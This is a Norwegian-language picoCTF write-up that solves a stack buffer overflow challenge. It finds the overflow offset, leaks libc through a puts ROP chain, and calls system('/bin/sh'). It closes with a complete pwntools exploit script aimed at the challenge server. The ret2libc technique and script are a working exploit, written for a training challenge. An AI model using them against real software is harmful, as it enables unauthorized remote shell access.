Challenge
Description I am once again asking for you to pwn this binary
vuln
, libc.so.6
, Makefile
nc mercury.picoctf.net 37289
Initial analysis
Dette er en buffer overflow challenge der vi må kalle system(“/bin/sh”) for å få flagget.
Info
Instruksjonsett: x86_64
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Solution
Oppgaven inneholder en scanf som leser alt helt til \n
og prøver å legge dette inn i en char-array på 112 bytes. Derfor kan vi prøve å skrive flere bytes inn, slik at vi kan overskrive verdier på stacken.
Siden vi har fått en libc fil bruker jeg først pwninit
for å lage en patched versjon av binary-en.
cd ./project
nix-shell -p pwninit
pwninit
Ved å bruke checksec kan vi se på sikkerhetsmekanismene som er aktivert i binaryen. Her ser vi at det ikke er noen canary, noe som gjør det enklere å overskrive returadressen.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
Ved å bruke gef kan vi kjøre pattern create 200
for å lage en string som er 200 bytes lang. Denne kan vi så sende til programmet for å se hvilken offset vi må bruke for å overskrive returadressen.
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
Vi sender dette inn i programmet og forventer at den krasjer. Vi kan så bruke pattern search
for å finne offseten.
gef➤ pattern search $rsp
[+] Searching for '7261616161616161'/'6161616161616172' with period=8
[+] Found at offset 136 (little-endian search) likely
Nå har vi funnet ut at vi må overflowe med 136 bytes før vi overskriver returadressen.
Planen nå er å lekke libc adressen, slik at vi etterhvert kan kalle system
.
from pwn import *
## Buffer størrelsen
payload = b"A" * 136
## Lager en rop chain
rop = ROP([exe])
rop.puts(exe.got.puts) # printer ut adressen til puts i libc
rop.do_stuff() # hvilken funksjon skal vi kalle etter puts
payload += rop.chain()
log.info("Rop chain: " + rop.dump())
## sender payload til programmet
r.sendlineafter("WeLcOmE To mY EcHo sErVeR!\n", payload)
r.recvline()
## leser ut leaken i riktig x64 format
addr = r.recvline().strip()
puts_addr = u64(addr.ljust(8, b"\x00"))
print(hex(puts_addr))
Nå har vi lekket adressen til puts i libc, og kan bruke denne til å finne base adressen til libc.
libc_base = puts_addr - libc.symbols['puts']
log.info("Libc base: " + hex(libc_base))
Nå kan vi finne adressen til system og “/bin/sh” i libc, og kalle system(“/bin/sh”) for å få en shell.
Det vi ønsker å oppnå er å legge adressen til “/bin/sh” inn i rdi, og så kalle system. Dette gjør vi ved å først kalle pop rdi, ret
derretter å legge adressen /bin/sh
på stacken etterpå. Dette gjør at /bin/sh
blir lagt inn i rdi. Deretter kaller vi ret for å “clean” stacken, og så kaller vi system
. system
vil da bruke rdi
som argument, og kjøre system("/bin/sh")
.
Vi er nå inni do_stuff funksjonen
## Lager en ny rop chain som skal brukes til å kalle system("/bin/sh")
rop = ROP([exe, libc])
poprdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret = poprdi + 1 # "pop rdi" er nøyaktig 1 byte, så vi trenger bare å addere 1 for å få ret
binsh = next(libc.search(b"/bin/sh"))
system = libc.symbols['system']
log.info("system: " + hex(system))
log.info("binsh: " + hex(binsh))
payload = b"A" * 136
payload += p64(poprdi) # pop rdi, ret. gjør at neste verdi vi leger inn i stacken blir lagt inn i rdi
payload += p64(binsh) # Vi laster adressen til /bin/sh inn i rdi (rdi er første argumentet til system)
payload += p64(ret) # xmword --> legge til en ret (ret, cleaner stacken)
payload += p64(system) # adressen til system. vi kaller nå system("/bin/sh")
Final exploit
#!/usr/bin/env python3
from pwn import *
exe = ELF("./vuln_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
gdb.attach(r)
else:
r = remote("mercury.picoctf.net", 37289)
return r
def main():
r = conn()
payload = b"A" * 136
rop = ROP([exe])
rop.puts(exe.got.puts)
rop.do_stuff()
payload += rop.chain()
r.sendlineafter("WeLcOmE To mY EcHo sErVeR!\n", payload)
r.recvline()
addr = r.recvline().strip()
puts_addr = u64(addr.ljust(8, b"\x00"))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
assert(libc_base & 0xFFF == 0) # Sjekker at vi faktisk har funnet base adressen til libc
libc.address = libc_base
rop = ROP([exe, libc])
poprdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret = poprdi + 1 # "pop rdi" er nøyaktig 1 byte, så vi trenger bare å addere 1 for å få ret
binsh = next(libc.search(b"/bin/sh"))
system = libc.symbols['system']
log.info("system: " + hex(system))
log.info("binsh: " + hex(binsh))
payload = b"A" * 136
payload += p64(poprdi) # pop rdi, ret. gjør at neste verdi vi leger inn i stacken blir lagt inn i rdi
payload += p64(binsh) # Vi laster adressen til /bin/sh inn i rdi (rdi er første argumentet til system)
payload += p64(ret) # xmword --> legge til en ret (ret, cleaner stacken)
payload += p64(system) # adressen til system. vi kaller nå system("/bin/sh")
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()